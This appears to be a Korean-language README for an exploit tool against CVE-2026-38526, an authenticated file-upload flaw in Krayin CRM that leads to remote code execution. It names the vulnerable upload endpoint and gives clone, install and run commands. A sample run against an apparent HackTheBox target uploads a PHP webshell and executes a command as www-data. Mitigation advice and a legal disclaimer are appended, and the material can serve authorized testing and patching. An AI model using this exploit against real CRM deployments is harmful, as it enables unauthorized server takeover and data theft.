CVE-2026-38526 — Krayin CRM ≤ 2.2.x 인증된 RCE

⚠️ 법적 경고: 이 코드는 교육 목적 및 승인된 테스트(CTF, 버그 바운티, 개인 랩) 전용으로 제공됩니다. 작성자는 불법적인 사용에 대해 책임지지 않습니다.

설명

Krayin CRM (Webkul) ≤ 2.2.x는 /admin/tinymce/upload 엔드포인트를 노출하여 인증된 사용자(낮은 권한이라도)가 확장자 검증 없이 파일을 업로드할 수 있게 합니다. 이후 해당 파일은 storage/ 폴더에서 제공되어 PHP 코드의 임의 실행이 가능해집니다.

• 유형: 임의 파일 업로드 → RCE
• CVSS: 9.9 (치명적)
• 인증 필요: 예 (모든 유효 계정)

설치

git clone https://github.com/<TON_PSEUDO>/cve-2026-38526.git
cd cve-2026-38526
pip install -r requirements.txt

사용법

python3 cve-2026-38526.py -t http://target.tld -u [email protected] -p 'password' -c 'id'

옵션:

옵션	설명
-t, --target	대상 루트 URL
-u, --user	Krayin 계정 이메일
-p, --password	비밀번호
-c, --command	실행할 명령 (기본값: id)
--login-path	로그인 경로 (기본값: /admin/login)
--upload-path	업로드 경로 (기본값: /admin/tinymce/upload)
--timeout	HTTP 타임아웃 (기본값: 15)

예시

$ python3 cve-2026-38526.py -t http://billing.nexus.htb \
    -u [email protected] -p 'N27xh!!2ucY04' -c 'id'

[*] http://billing.nexus.htb/admin/login 에서 CSRF 토큰 가져오는 중
[*] 로그인 양식 전송 중
[+] 인증 성공
[*] http://billing.nexus.htb/admin/tinymce/upload 를 통해 x8f2k1ab.php 업로드 중
[+] 웹셸 접근 가능: http://billing.nexus.htb/storage/tinymce/x8f2k1ab.php
[*] 실행: id

============================================================
[+] 명령: id
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================

완화 방안

• Krayin CRM을 수정된 버전으로 업데이트하세요.
• 업로드되는 파일의 확장자를 제한하세요 (화이트리스트).
• storage/ 및 uploads/ 폴더에서 PHP 실행을 금지하세요.
• CRM 계정에 최소 권한 원칙을 적용하세요.

면책 조항

이 프로젝트는 보안 연구 목적으로 공개되었습니다. 사전 서면 승인 없이 시스템에 대해 사용하는 것은 불법이며 엄격히 금지됩니다.